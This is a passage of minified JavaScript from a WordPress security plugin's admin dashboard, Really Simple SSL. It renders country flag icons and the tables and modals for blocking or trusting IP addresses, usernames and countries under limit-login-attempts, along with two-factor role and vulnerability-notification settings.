1.562.304-.562.666-.02-.516-.43.178-.582-.444.267-.562-.34.054.645-.504.302.654.082.17.638Zm-2 2 .304-.562.666-.02-.516-.43.178-.582-.444.267-.562-.34.054.645-.504.302.654.082.17.638Zm-1.94 1.526-.551.326.183-.635-.518-.407h.587l.286-.581.306.581H7.3l-.452.407.22.635-.58-.326Zm2.244-.088-.304.562-.17-.638-.654-.082.504-.302-.054-.646.562.34.444-.266-.178.581.516.43-.666.02Zm2-1-.304.562-.17-.638-.654-.082.504-.302-.054-.646.562.34.444-.266-.178.581.516.43-.666.02Zm2-1-.304.562-.17-.638-.654-.082.504-.302-.054-.646.562.34.444-.266-.178.581.516.43-.666.02Zm.696-.438.304-.562.666-.02-.516-.43.178-.582-.444.267-.562-.34.054.645-.504.302.654.082.17.638Z",clipRule:"evenodd"})))),Oa=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"UY_-_Uruguay_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#UY_-_Uruguay_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"UY_-_Uruguay_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#UY_-_Uruguay_svg__b)"},(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 2h16v1H0zM0 4h16v1H0zM0 6h16v1H0zM0 8h16v1H0zM0 10h16v1H0z"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"M0 0h8v7H0z"}),(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",stroke:"#F19900",strokeOpacity:.98,strokeWidth:.25,d:"M4.614 5.519s-.511 1.059-.96 1.276c.194-.486.265-1.477.265-1.477s-1.166.462-1.575.378c.492-.344 1.175-.98 1.175-.98s-1.51-.494-1.472-.704C2.728 4.134 3.665 4 3.665 4s-1.059-1.27-.951-1.364c.16.157 1.43.82 1.43.82s.092-1.13.365-1.511c.033.269.416 1.486.416 1.486s.77-.77 1.198-.77c-.188.232-.633 1.255-.633 1.255s1.109-.018 1.53.19c-.51.073-1.405.521-1.405.521s1.165.884 1.059 1.068a5.166 5.166 0 0 0-1.348-.408s.2 1.23.038 1.507c-.158-.41-.75-1.276-.75-1.276Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FFD018",fillRule:"evenodd",stroke:"#F19900",strokeOpacity:.98,strokeWidth:.25,d:"M4.547 4.946a.5.5 0 1 0 0-1 .5.5 0 0 0 0 1Z",clipRule:"evenodd"})))),Ba=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"VE_-_Venezuela_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#VE_-_Venezuela_svg__a)"},(0,s.createElement)("path",{fill:"#2E42A5",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("mask",{id:"VE_-_Venezuela_svg__b",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M0 0v12h16V0H0Z",clipRule:"evenodd"})),(0,s.createElement)("g",{mask:"url(#VE_-_Venezuela_svg__b)"},(0,s.createElement)("path",{fill:"#FECA00",fillRule:"evenodd",d:"M0 0v4h16V0H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 8v4h16V8H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",d:"m4.107 7.62-.911-.41C4.064 5.282 5.695 4.302 8 4.302c2.306 0 3.932.981 4.788 2.91l-.914.406C11.184 6.063 9.924 5.302 8 5.302c-1.924 0-3.192.762-3.893 2.318Z"})))),za=({countryCode:e,style:l,title:t,continent:n=!1})=>{if(n)return(0,s.createElement)("span",{title:t},e);const i=a[e];return i?(0,s.createElement)("span",{title:t},(0,s.createElement)(i,{style:l})):(0,s.createElement)("span",{title:t},e)},Pa=e=>{const[l,t]=(0,p.useState)(""),[a,n]=(0,p.useState)(!1),{maskError:i,setMaskError:r}=J();return(0,s.createElement)(s.Fragment,null,e.label&&(0,s.createElement)("label",{htmlFor:e.id,className:"rsssl-label"},e.label),(0,s.createElement)("br",null),(0,s.createElement)("div",{className:"input-container"},(0,s.createElement)("input",{type:"text",id:e.id,name:e.name,value:e.value,className:"rsssl-input full "+(i?"rsssl-error":"rsssl-success"),onChange:e.onChange})),i&&(0,s.createElement)("span",{style:{color:"red",marginLeft:"10px"}},(0,c.__)("Invalid ip address","really-simple-ssl")))},Ia=e=>{const{inputRangeValidated:l,fetchCidrData:t,ipAddress:a,setIpAddress:n,maskError:r,dataLoaded:d,updateRow:o,resetRange:h}=J(),[v,u]=(0,p.useState)(!1),{fetchDynamicData:_}=$(),{showSavedSettingsNotice:f}=(0,m.A)();return(0,p.useEffect)((()=>{l&&t("get_mask_from_range")}),[l]),e.isOpen?(0,s.createElement)(i.Modal,{title:(0,c.__)("Add IP Address","really-simple-ssl"),shouldCloseOnClickOutside:!0,shouldCloseOnEsc:!0,overlayClassName:"rsssl-modal-overlay",className:"rsssl-modal",onRequestClose:e.onRequestClose},(0,s.createElement)("div",{className:"modal-content"},(0,s.createElement)("div",{className:"modal-body",style:{padding:"1em"}},(0,s.createElement)("div",{style:{width:"95%",height:"100%",padding:"10px"}},(0,s.createElement)("div",null,(0,s.createElement)(Pa,{label:(0,c.__)("IP Address","really-simple-ssl"),id:"ip-address",name:"ip-address",showSwitch:!0,value:a,onChange:e=>n(e.target.value)})))),(0,s.createElement)("div",{className:"modal-footer"},(0,s.createElement)("div",{className:"rsssl-grid-item-footer",style:{display:"flex",justifyContent:"flex-end",alignItems:"center",padding:"1em"}},(0,s.createElement)(i.Button,{isSecondary:!0,onClick:function(){u(!1),h(),e.onRequestClose()},style:{marginRight:"10px"}},(0,c.__)("Cancel","really-simple-ssl")),(0,s.createElement)(i.Button,{isPrimary:!0,onClick:async function(){let l=e.status;a&&!1===r&&(await o(a,l,e.dataActions).then((e=>{e.success?f(e.message):f(e.message,"error")})),h(),e.onRequestClose(),_("event_log"))}},(0,c.__)("Add","really-simple-ssl")))))):null},Ga=({handleSearch:e,searchableColumns:l})=>{const[t,a]=(0,p.useState)(null);return(0,s.createElement)("div",{className:"rsssl-search-bar"},(0,s.createElement)("div",{className:"rsssl-search-bar__inner"},(0,s.createElement)("div",{className:"rsssl-search-bar__icon"}),(0,s.createElement)("input",{type:"text",className:"rsssl-search-bar__input",placeholder:(0,c.__)("Search","really-simple-ssl"),onKeyUp:s=>{clearTimeout(t),a(setTimeout((()=>{e(s.target.value,l)}),500))}})))},Ka=({getCurrentFilter:e,moduleName:l,handleOpen:t,processing:a,blockedText:n,allowedText:i})=>{let c="blocked"===e(l)?n:i;return(0,s.createElement)("div",{className:"rsssl-add-button"},("blocked"===e(l)||"allowed"===e(l))&&(0,s.createElement)("div",{className:"rsssl-add-button__inner"},(0,s.createElement)("button",{className:"button button-secondary button-datatable rsssl-add-button__button",onClick:t,disabled:a},c)))},Wa=e=>{const{IpDataTable:l,dataLoaded:t,dataActions:a,handleIpTableRowsChange:n,fetchData:i,handleIpTableSort:r,handleIpTablePageChange:d,handleIpTableSearch:o,handleIpTableFilter:h,ipAddress:v,updateRow:u,pagination:_,resetRow:f,resetMultiRow:g,setStatusSelected:E,rowCleared:Z,processing:y}=J(),{fetchDynamicData:w}=$(),{setSelectedFilter:k,getCurrentFilter:R,setProcessingFilter:M}=(0,Q.A)(),[F,b]=(0,p.useState)(!1),[C,H]=(0,p.useState)([]),{fieldAlreadyEnabled:V,getFieldValue:S}=(0,m.A)(),{showSavedSettingsNotice:A}=(0,m.A)(),[U,x]=(0,p.useState)(600),T="rsssl-group-filter-limit_login_attempts_ip_address",D=(0,p.useCallback)((e=>({name:e.name,sortable:e.sortable,searchable:e.searchable,width:e.width,visible:e.visible,column:e.column,selector:l=>l[e.column]})),[]);let L=e.field;const N=L.columns.map(D);(0,p.useEffect)((()=>{const e=R(T);e||k("locked",T),M(y),h("status",e)}),[T,h,R(T),k,l,y]),(0,p.useEffect)((()=>{H([])}),[l]),(0,p.useEffect)((()=>{a&&i(L.action,a)}),[a.sortDirection,a.filterValue,a.search,a.page,a.currentRowsPerPage,V("enable_limited_login_attempts")]),(0,W.createTheme)("really-simple-plugins",{divider:{default:"transparent"}},"light");let O=S("enable_limited_login_attempts"),B=[];N.map((e=>{e.searchable&&B.push(e.column)}));let z=e.field.options;z=Object.entries(z).map((e=>({label:e[1],value:e[0]})));let P=Object.values({...l.data});const I=(0,p.useCallback)((async e=>{if(Array.isArray(e)){const l=e.map((e=>e.id));await g(l,a).then((e=>{e&&e.success,A(e.message)})),H([])}else await f(e,a).then((e=>{e&&e.success,A(e.message)}));await w("event_log")}),[g,f,w,a]),G=({onClick:e,children:l,className:t})=>(0,s.createElement)("div",{className:"rsssl-action-buttons__inner"},(0,s.createElement)("button",{className:`button ${t} rsssl-action-buttons__button`,onClick:e,disabled:y},l));function K(e){return(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",{className:"rsssl-action-buttons"},(0,s.createElement)(G,{className:"button-red",onClick:()=>{I(e)}},(0,c.__)("Delete","really-simple-ssl"))))}for(const e in P){let l={...P[e]};l.action=K(l.id),l.status=(0,c.__)(l.status=l.status.charAt(0).toUpperCase()+l.status.slice(1),"really-simple-ssl"),P[e]=l}let j;return j=void 0!==_,(0,p.useEffect)((()=>{0===Object.keys(P).length?x(100):x(50*(j?_.perPage+2:12))}),[j,_?.perPage,P]),(0,s.createElement)(s.Fragment,null,(0,s.createElement)(Ia,{isOpen:F,onRequestClose:()=>{b(!1)},options:z,value:v,status:R(T),dataActions:a}),(0,s.createElement)("div",{className:"rsssl-container"},(0,s.createElement)(Ka,{getCurrentFilter:R,moduleName:T,handleOpen:()=>{b(!0)},processing:y,blockedText:(0,c.__)("Block IP Address","really-simple-ssl"),allowedText:(0,c.__)("Trust IP Address","really-simple-ssl")}),(0,s.createElement)(Ga,{handleSearch:o,searchableColumns:B})),C.length>0&&(0,s.createElement)("div",{style:{marginTop:"1em",marginBottom:"1em"}},(0,s.createElement)("div",{className:"rsssl-multiselect-datatable-form rsssl-primary"},(0,s.createElement)("div",null,(0,c.__)("You have selected %s rows","really-simple-ssl").replace("%s",C.length)),(0,s.createElement)("div",{className:"rsssl-action-buttons"},(0,s.createElement)(G,{className:"button-red",onClick:()=>{I(C)}},(0,c.__)("Delete","really-simple-ssl"))))),(0,s.createElement)(W.default,{columns:N,data:y?[]:P,dense:!0,paginationServer:!0,paginationTotalRows:j?_.totalRows:10,paginationPerPage:j?_.perPage:10,paginationDefaultPage:j?_.currentPage:1,paginationComponentOptions:{rowsPerPageText:(0,c.__)("Rows per page:","really-simple-ssl"),rangeSeparatorText:(0,c.__)("of","really-simple-ssl"),noRowsPerPage:!1,selectAllRowsItem:!1,selectAllRowsItemText:(0,c.__)("All","really-simple-ssl")},loading:t,pagination:!y,onChangeRowsPerPage:n,onChangePage:d,sortServer:!y,onSort:r,paginationRowsPerPageOptions:[10,25,50,100],noDataComponent:(0,c.__)("No results","really-simple-ssl"),persistTableHead:!0,selectableRows:!y,onSelectedRowsChange:function(e){H(e.selectedRows)},clearSelectedRows:Z,theme:"really-simple-plugins",customStyles:{headCells:{style:{paddingLeft:"0",paddingRight:"0"}},cells:{style:{paddingLeft:"0",paddingRight:"0"}}}}),!O&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-task-status rsssl-open"},(0,c.__)("Disabled","really-simple-ssl")),(0,s.createElement)("span",null,(0,c.__)("Activate Limit login attempts to enable this block.","really-simple-ssl")))))};var ja=t(7045);const qa=(0,U.vt)(((e,l)=>({roles:[],rolesLoaded:!1,fetchRoles:async l=>{try{const t=await f.Eo("get_roles",{id:l});if(!t)return void console.error("No response received from the server.");const a=t.roles;if("object"!=typeof a)return void console.error("Invalid data received in the server response. Expected an object.");const s=Object.values(a).map(((e,l)=>({value:e,label:e.charAt(0).toUpperCase()+e.slice(1)})));e({roles:s,rolesLoaded:!0})}catch(e){console.error("Error:",e)}}}))),Ya=({field:e,forcedRoledId:l,optionalRolesId:t})=>{const{fetchRoles:a,roles:n,rolesLoaded:i}=qa(),[r,d]=(0,p.useState)([]),[o,h]=(0,p.useState)([]),{updateField:v,getFieldValue:u,setChangedField:_,getField:f,fieldsLoaded:g,showSavedSettingsNotice:E,saveField:Z}=(0,m.A)();let y=!0;(0,p.useEffect)((()=>{i||a(e.id)}),[i]),(0,p.useEffect)((()=>{if(e.id===l){let e=f(t),l=Array.isArray(e.value)?e.value:[];h(l)}else{let e=f(l),t=Array.isArray(e.value)?e.value:[];h(t)}}),[r,f(t),f(l)]),(0,p.useEffect)((()=>{e.value?d(e.value.map(((e,l)=>({value:e,label:e.charAt(0).toUpperCase()+e.slice(1)})))):(_(e.id,e.default),v(e.id,e.default),d(e.default.map(((e,l)=>({value:e,label:e.charAt(0).toUpperCase()+e.slice(1)})))))}),[g]);const w={multiValue:a=>({...a,borderRadius:"10px",backgroundColor:e.id===l?"#F5CD54":e.id===t?"#FDF5DC":"default"}),multiValueRemove:(e,l)=>({...e,color:l.isHovered?"initial":e.color,opacity:"0.7",":hover":{backgroundColor:"initial",color:"initial",opacity:"1"}})};e.id===t&&u("login_protection_enabled");const k=r.map((e=>e.value));let R=[],M=[...k,...o];return n.forEach((function(e,l){Array.isArray(M)&&M.includes(e.value)?R.splice(l,1):R.push(e)})),(0,s.createElement)("div",{style:{marginTop:"5px"}},(0,s.createElement)(ja.Ay,{isMulti:!0,options:R,onChange:l=>{const t=l.map((e=>e.value));let a=u("two_fa_enabled_roles_email"),s=u("two_fa_enabled_roles_totp"),n=a.concat(s);0===n.filter((e=>l.map((e=>e.value)).includes(e))).length&&l.length>0?E((0,c.__)("You have enforced 2FA, but not configured any methods.","really-simple-ssl"),"error"):l.forEach((e=>{n.includes(e.value)||E((0,c.__)("You have enforced 2FA, but not configured any methods for the role: ","really-simple-ssl")+e.label,"error")})),d(l),v(e.id,t),_(e.id,t)},value:r,menuPosition:"fixed",styles:w,isDisabled:!u("login_protection_enabled")}))},Ja=e=>{const{addHelpNotice:l}=(0,m.A)(),[t,a]=(0,p.useState)(!1),{fields:n}=(0,m.A)();let i=!!e.field.disabled;return(0,s.createElement)(s.Fragment,null,e.field.url&&(0,s.createElement)(_.A,{className:"button button-default",disabled:i,text:e.field.button_text,url:e.field.url}),e.field.action&&(0,s.createElement)("button",{onClick:()=>(async t=>{let s={};a(!0),s.fields=n,await f.Eo(t,s).then((t=>{let s=t.success?"success":"warning",n=t.title,i=t.message;a(!1),l(e.field.id,s,i,n,!1)}))})(e.field.action),className:"button button-default",disabled:i},e.field.button_text,t&&(0,s.createElement)(H.default,{name:"loading",color:"grey"})))};var $a=t(5415),Qa=t(1455),Xa=t.n(Qa),es=t(1075),ls=t(5063),ts=t(2389);const as=(0,t(2611).A)((()=>({autoComplete:{fontSize:"12px"}}))),ss=({field:e,disabled:l,value:t,options:a,label:n,onChange:i})=>{let c=!Array.isArray(l)&&l;const r=as();return(0,s.createElement)(s.Fragment,null,(0,s.createElement)(ls.A,{classes:{input:r.autoComplete,option:r.autoComplete},disabled:c,disablePortal:!0,value:t,id:e.id,options:a,isOptionEqualToValue:(e,l)=>("string"==typeof e.value?e.value.toLowerCase():e.value)===("string"==typeof l.value?l.value.toLowerCase():l.value),getOptionLabel:e=>{if(e&&e.label)return e.label;const l=a.find((l=>l.value===e));return l?l.label:e},onChange:(e,l)=>{let t=l&&l.value?l.value:"";i(t)},renderInput:e=>(0,s.createElement)(ts.A,{...e,label:n,margin:"normal",variant:"outlined",fullWidth:!0})}))},ns=({field:e})=>{const[l,t]=(0,s.useState)([]),[a,n]=(0,s.useState)(""),{updateField:i,setChangedField:r}=(0,m.A)();return(0,s.useEffect)((()=>{Xa()({path:"/wp/v2/pages?per_page=100"}).then((e=>{const l=e.map((e=>({label:e.title.rendered,value:e.id})));t([{label:"404 (default)",value:"404_default"},...l])}))}),[]),(0,s.useEffect)((()=>{"404_default"!==e.value?Xa()({path:`wp/v2/pages/${e.value}`}).then((l=>{l.title?n({label:l.title.rendered,value:e.value}):n({label:"404 (default)",value:"404_default"})})):n({label:"404 (default)",value:"404_default"})}),[e.value]),(0,s.createElement)($a.A,{theme:es.A},(0,s.createElement)("div",null,(0,s.createElement)("label",{htmlFor:"rsssl-filter-post-input"},(0,c.__)("Redirect to this post when someone tries to access /wp-admin or /wp-login.php. The default is a 404 page.","really-simple-ssl")),(0,s.createElement)(ss,{className:"rsssl-select",field:e,label:(0,c.__)("Search for a post.","really-simple-ssl"),value:a,options:l,onChange:l=>{const t=l||"404_default";i(e.id,t),r(e.id,t)},disabled:!1})))},is=e=>{const{fetchVulnerabilities:l,riskLevels:t}=(0,G.A)(),{field:a}=e,[n,i]=(0,s.useState)(!0),[r,d]=(0,s.useState)(!0),[o,h]=(0,s.useState)(!1),[v,u]=(0,s.useState)(!1),{addHelpNotice:_,fields:p,getFieldValue:g,updateField:E,setChangedField:Z,fieldAlreadyEnabled:y,fetchFieldsData:w,updateFieldAttribute:k}=(0,m.A)();(0,s.useEffect)((()=>{let e=1==g("send_notifications_email"),l=y("enable_vulnerability_scanner");d(e),i(!(e&&l)),d(e),u(l),h(1==g("enable_vulnerability_scanner"))}),[p]),(0,s.useEffect)((()=>{let e=g("vulnerability_notification_dashboard");e=t.hasOwnProperty(e)?t[e]:0;let l=e>0?e-1:e,a=Array.from(Array(l).keys()).map((e=>e));if(a=a.map((e=>Object.keys(t).find((l=>t[l]===e)))),a.length>0){k("vulnerability_notification_sitewide","disabled",a);let l=g("vulnerability_notification_sitewide");if(l=t.hasOwnProperty(l)?t[l]:0,l<e){let l=Object.keys(t).find((l=>t[l]===e));E("vulnerability_notification_sitewide",l),Z("vulnerability_notification_sitewide",l)}}else k("vulnerability_notification_sitewide","disabled",!1)}),[g("vulnerability_notification_dashboard")]);let R={...a};return r?o&&!v&&(R.tooltip=(0,c.__)("The notification test only works if you save the setting first.","really-simple-ssl"),R.warning=!0):(R.tooltip=(0,c.__)("You have not enabled the email notifications in the general settings.","really-simple-ssl"),R.warning=!0),(0,s.createElement)(s.Fragment,null,(0,s.createElement)("label",null,e.labelWrap(R)),(0,s.createElement)("button",{onClick:()=>(async()=>{i(!0),f.Eo("vulnerabilities_test_notification").then((()=>{i(!1),w("vulnerabilities"),l(),_(a.id,"success",(0,c.__)("All notifications are triggered successfully, please check your email to double-check if you can receive emails.","really-simple-ssl"),(0,c.__)("Test notifications","really-simple-ssl"),!1)}))})(),disabled:n,className:"button button-default"},a.button_text))};var cs=t(5511);const rs=(0,U.vt)(((e,l)=>({processing:!1,dataLoaded:!1,pagination:{},dataActions:{},UserDataTable:[],rowCleared:!1,fetchData:async(t,a)=>{if(e({processing:!0}),e({dataLoaded:!1}),e({rowCleared:!0}),0===Object.keys(a).length&&l().dataActions,l().processing&&0!==Object.keys(a).length){e({UserDataTable:[]});try{const l=await f.Eo(t,a);l&&l.request_success&&e({UserDataTable:l,dataLoaded:!0,processing:!1,pagination:l.pagination}),e({rowCleared:!0})}catch(e){console.log(e)}finally{e({processing:!1}),e({rowCleared:!1})}}},handleUserTableSearch:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,search:l,searchColumns:t}})))},handleUserTablePageChange:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,page:l,pageSize:t}})))},handleUserTableRowsChange:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,currentRowsPerPage:l,currentPage:t}})))},handleUserTableSort:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,sortColumn:l,sortDirection:t}})))},handleUserTableFilter:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,filterColumn:l,filterValue:t}})))},updateRow:async(t,a,s)=>{e({processing:!0});let n={value:t,status:a};try{const e=await f.Eo("user_update_row",n);return e&&e.request_success?(await l().fetchData("rsssl_limit_login_user",s),{success:!0,message:e.message,response:e}):{success:!1,message:e?.message||"Failed to add user",response:e}}catch(e){return{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1})}},resetRow:async(t,a)=>{e({processing:!0});try{const e=await f.Eo("delete_entries",{id:t});return e&&e.success?(await l().fetchData("rsssl_limit_login_user",a),{success:!0,message:e.message,response:e}):{success:!1,message:e?.message||"Failed to reset user",response:e}}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1})}},resetMultiRow:async(t,a)=>{e({processing:!0});try{const e=await f.Eo("delete_entries",{ids:t});if(console.error(e),e&&e.success)return e.success?(await l().fetchUserData("rsssl_limit_login_user",a),{success:!0,message:e.message,response:e}):{success:!1,message:e?.message||"Failed to reset user",response:e}}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1})}}}))),ms=e=>{if(!e.isOpen)return null;const{updateRow:l}=rs(),{fetchDynamicData:t}=$(),[a,n]=(0,p.useState)(""),{showSavedSettingsNotice:r}=(0,m.A)();return(0,s.createElement)(i.Modal,{title:(0,c.__)("Add User","really-simple-ssl"),shouldCloseOnClickOutside:!0,shouldCloseOnEsc:!0,overlayClassName:"rsssl-modal-overlay",className:"rsssl-modal",onRequestClose:e.onRequestClose},(0,s.createElement)("div",{className:"modal-content"},(0,s.createElement)("div",{className:"modal-body",style:{padding:"1em"}},(0,s.createElement)("div",{style:{width:"95%",height:"100%",padding:"10px"}},(0,s.createElement)("p",null,(0,s.createElement)("label",{htmlFor:"username",className:"rsssl-label"},(0,c.__)("Username","really-simple-ssl")),(0,s.createElement)("input",{type:"text",className:"rsssl-input full",id:"username",name:"username",onChange:e=>n(e.target.value)})))),(0,s.createElement)("div",{className:"modal-footer"},(0,s.createElement)("div",{className:"rsssl-grid-item-footer",style:{display:"flex",justifyContent:"flex-end",alignItems:"center",padding:"1em"}},(0,s.createElement)(i.Button,{isSecondary:!0,onClick:e.onRequestClose,style:{marginRight:"10px"}},(0,c.__)("Cancel","really-simple-ssl")),(0,s.createElement)(i.Button,{isPrimary:!0,onClick:async function(){let s=e.status;""!==a&&(await l(a,s,e.dataActions).then((e=>{e.success?r(e.message):r(e.message,"error")})),n(""),await t("event_log")),e.onRequestClose()}},(0,c.__)("Add","really-simple-ssl"))))))},ds=e=>{let{UserDataTable:l,dataLoaded:t,fetchData:a,processing:n,handleUserTableFilter:i,handleUserTablePageChange:r,pagination:d,resetRow:o,resetMultiRow:h,dataActions:v,handleUserTableRowsChange:u,handleUserTableSort:_,handleUserTableSearch:f,updateMultiRow:g,updateRow:E,rowCleared:Z}=rs();const{showSavedSettingsNotice:y}=(0,m.A)(),{fetchDynamicData:w}=$(),{selectedFilter:k,setSelectedFilter:R,activeGroupId:M,getCurrentFilter:F,setProcessingFilter:b}=(0,Q.A)(),[C,H]=(0,p.useState)([]),[V,S]=(0,p.useState)(!1),[A,U]=(0,p.useState)(""),[x,T]=(0,p.useState)(600),D="rsssl-group-filter-limit_login_attempts_users",{fields:L,fieldAlreadyEnabled:N,getFieldValue:O,saveFields:B}=(0,m.A)(),z=(0,p.useCallback)((e=>({name:e.name,sortable:e.sortable,searchable:e.searchable,width:e.width,visible:e.visible,column:e.column,selector:l=>l[e.column]})),[]);let P=e.field;const I=P.columns.map(z),G=I.filter((e=>e.searchable)).map((e=>e.column));(0,p.useEffect)((()=>{const e=F(D);e||R("locked",D),b(n),i("status",e)}),[D,i,F(D),R,ds,n]),(0,p.useEffect)((()=>{H([])}),[l]),(0,p.useEffect)((()=>{v&&a(P.action,v)}),[v.sortDirection,v.filterValue,v.search,v.page,v.currentRowsPerPage,N("enable_limited_login_attempts")]);let K=O("enable_limited_login_attempts");(0,W.createTheme)("really-simple-plugins",{divider:{default:"transparent"}},"light");let j=e.field.options;j=Object.entries(j).map((e=>({label:e[1],value:e[0]})));const q=(0,p.useCallback)((async e=>{if(Array.isArray(e)){const l=e.map((e=>e.id));await h(l,v).then((e=>{e&&e.success?y(e.message):y(e.message,"error")})),H([])}else await o(e,v).then((e=>{e&&e.success,y(e.message)}));await w("event_log")}),[h,o,w,v]),Y=(0,p.useCallback)((e=>{H(e.selectedRows)}),[]),J=({onClick:e,children:l,className:t})=>(0,s.createElement)("div",{className:"rsssl-action-buttons__inner"},(0,s.createElement)("button",{className:`button ${t} rsssl-action-buttons__button`,onClick:e,disabled:n},l)),X=(0,p.useCallback)(((e,l,t)=>(0,s.createElement)("div",{className:"rsssl-action-buttons"},(0,s.createElement)(J,{onClick:()=>{q(e)},className:"button-red"},(0,c.__)("Delete","really-simple-ssl")))),[F(D),D,q]);let ee,le={...l.data};for(const e in le){let l={...le[e]};l.action=X(l.id),l.status=(0,c.__)(l.status=l.status.charAt(0).toUpperCase()+l.status.slice(1),"really-simple-ssl"),le[e]=l}return ee=void 0!==d,(0,p.useEffect)((()=>{0===Object.keys(le).length?T(100):T(50*(ee?d.perPage+2:12))}),[ee,d?.perPage,le]),(0,s.createElement)(s.Fragment,null,(0,s.createElement)(ms,{isOpen:V,onRequestClose:()=>{S(!1)},options:j,value:A,status:F(D),dataActions:v}),(0,s.createElement)("div",{className:"rsssl-container"},(0,s.createElement)(Ka,{getCurrentFilter:F,moduleName:D,handleOpen:()=>{S(!0)},processing:n,blockedText:(0,c.__)("Block Username","really-simple-ssl"),allowedText:(0,c.__)("Trust Username","really-simple-ssl")}),(0,s.createElement)(Ga,{handleSearch:f,searchableColumns:G})),C.length>0&&(0,s.createElement)("div",{style:{marginTop:"1em",marginBottom:"1em"}},(0,s.createElement)("div",{className:"rsssl-multiselect-datatable-form rsssl-primary"},(0,s.createElement)("div",null,(0,c.__)("You have selected %s rows","really-simple-ssl").replace("%s",C.length)),(0,s.createElement)("div",{className:"rsssl-action-buttons"},(0,s.createElement)(J,{className:"button button-red rsssl-action-buttons__button",onClick:()=>{q(C)}},(0,c.__)("Delete","really-simple-ssl"))))),(0,s.createElement)(W.default,{columns:I,data:n&&!t?[]:Object.values(le),dense:!0,pagination:!n,paginationServer:!0,paginationTotalRows:ee?d.totalRows:10,onChangeRowsPerPage:u,onChangePage:r,sortServer:!n,onSort:_,paginationRowsPerPageOptions:[10,25,50,100],selectableRows:!n,onSelectedRowsChange:Y,clearSelectedRows:Z,noDataComponent:(0,c.__)("No results","really-simple-ssl"),persistTableHead:!0,theme:"really-simple-plugins",customStyles:{headCells:{style:{paddingLeft:"0",paddingRight:"0"}},cells:{style:{paddingLeft:"0",paddingRight:"0"}}}}),!K&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-task-status rsssl-open"},(0,c.__)("Disabled","really-simple-ssl")),(0,s.createElement)("span",null,(0,c.__)("Activate Limit login attempts to enable this block.","really-simple-ssl")))))},os=ds,hs=(0,U.vt)(((e,l)=>({processing:!1,dataLoaded:!1,pagination:{},dataActions:{page:1,pageSize:10,sortColumn:"country_name",sortDirection:"asc",filterColumn:"",filterValue:"",search:"",searchColumns:["country_name"]},CountryDataTable:[],rowCleared:!1,setDataActions:async l=>{e((0,q.jM)((e=>{e.dataActions=l})))},fetchData:async(l,t)=>{if(e({processing:!0}),e({dataLoaded:!1}),e({rowCleared:!0}),0!==Object.keys(t).length)try{const a=await f.Eo(l,t);a&&a.request_success&&e({CountryDataTable:a,dataLoaded:!0,processing:!1,pagination:a.pagination}),e({rowCleared:!0})}catch(e){console.log(e)}finally{e({processing:!1}),e({rowCleared:!1})}},handleCountryTableSearch:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,search:l,searchColumns:t}})))},handleCountryTablePageChange:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,page:l,pageSize:t}})))},handleCountryTableRowsChange:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,currentRowsPerPage:l,currentPage:t}})))},handleCountryTableSort:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,sortColumn:l,sortDirection:t}})))},handleCountryTableFilter:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,filterColumn:l,filterValue:t}})))},updateRow:async(t,a,s)=>{e({processing:!0});let n={value:t,status:a};try{const e=await f.Eo("country_update_row",n);return e&&e.request_success?(await l().fetchData("rsssl_limit_login_country",s),{success:!0,message:e.message,response:e}):{success:!1,message:e?.message||"Failed to add country",response:e}}catch(e){return console.log(e),{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1})}},updateRowRegion:async(t,a,s)=>{e({processing:!0});let n={value:t,status:a};try{const e=await f.Eo("region_update_row",n);return e&&e.request_success?(await l().fetchData("rsssl_limit_login_country",s),{success:!0,message:e.message,response:e}):{success:!1,message:e?.message||"Failed to add region",response:e}}catch(e){return 